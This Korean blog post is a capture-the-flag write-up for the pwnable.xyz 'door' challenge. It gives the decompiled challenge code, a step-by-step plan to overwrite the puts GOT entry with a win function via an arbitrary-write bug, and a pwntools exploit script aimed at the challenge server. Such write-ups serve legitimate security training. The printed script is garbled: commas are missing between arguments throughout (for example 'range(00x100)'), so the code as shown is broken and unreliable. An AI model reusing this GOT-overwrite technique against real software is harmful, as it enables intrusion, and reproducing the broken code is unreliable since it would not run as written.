본문으로 바로가기

pwnable.xyz / door

category Wargame/pwnable.xyz 2020. 5. 6. 11:35
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int door; // [rsp+4h] [rbp-Ch]
  int realm; // [rsp+8h] [rbp-8h]

  setup();
  puts("Door To Other RealmS");
  door = 0;
  realm = 0;
  ::door = rand();

  while ( 1 )
  {
    switch ( read_int32() )
    {
      case 1:
        if ( ::door == realm )
        {
          printf("Door: ");
          door = read_int32();
          printf("Realm: ");
          realm = read_int32();
          *(_DWORD *)realm = door;
          ::door = 0;
        }
        break;

      case 2:
        if ( ::door )
        {
          printf("Realm: ");
          realm = read_int32();
        }
        break;

      case 3:
        if ( ::door && realm )
          *(_DWORD *)realm = door;
        break;

      case 4:
        return 0;

      default:
        puts("Invalid");
    }
  }
}

 

전역변수 door의 초기값은 랜덤으로 정해지고, 지역변수 door와 realm은 0이다.

1번 메뉴를 실행하면 ::door가 0이 되기 때문에 2번과 3번 메뉴를 더 이상 실행할 수 없게 된다. 즉, 원하는 위치에 4바이트의 NULL을 무제한으로 쓸 수 있고, 이후에 ::door에 NULL을 쓰고 원하는 위치에 원하는 값을 1번 쓸 수 있다.

 

아래 시나리오로 진행하면 된다. 모든 함수의 GOT가 libc와 연결되어 있기 때문에 반복문을 돌면서 실행되지 않는 함수를 찾아 상위 4바이트를 0으로 바꾸고 주소를 win으로 연결시켜줘야 한다.

 

1. 2 > realm을 0x60101C (HIDWORD(&puts@got)) 로 설정한다.

2. 3 > 0x60101C에 NULL을 쓴다.

3. 2 > realm을 0x601245 (&door+1) 로 설정한다.

4. 3 > 0x601245에 NULL을 쓴다. 이 과정 후 door의 값은 0부터 0xFF 중 하나가 된다. (door를 바로 0으로 만들어버리면 2번 메뉴가 실행되지 않는다)

5. 2 > realm을 0부터 0xFF까지 돌리면서 1번 메뉴를 시도한다.

6. 1 > 0x601018 (LODWORD(&puts@got)) 에 0x400969 (win) 를 쓴다.

7. 0> puts로 win을 실행한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def itob(i) :
    return str(i).encode()

def Open(realm:int) :
    p.writeafter(b'> 'b'2\x00')
    p.writeafter(b': ', itob(realm)+b'\x00')

def Enter() :
    p.writeafter(b'> 'b'3\x00')

def exploit() :
    Open(0x60101C)
    Enter()
    Open(0x601245)
    Enter()

    for i in range(00x100) :
        Open(i)
        p.writeafter(b'> 'b'1\x00')
        r = p.read(4)

        if r == b'Door' :
            log_info('door = {}'.format(i))
            p.writeafter(b': ', itob(0x400969)+b'\x00')
            p.writeafter(b': ', itob(0x601018)+b'\x00')
            break

    p.writeafter(b'> 'b'0\x00')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30039fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/6/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / note v3  (0) 2020.05.11
pwnable.xyz / world  (0) 2020.05.11
pwnable.xyz / child  (0) 2020.05.06
pwnable.xyz / Car shop  (0) 2020.05.06
pwnable.xyz / words  (0) 2020.05.05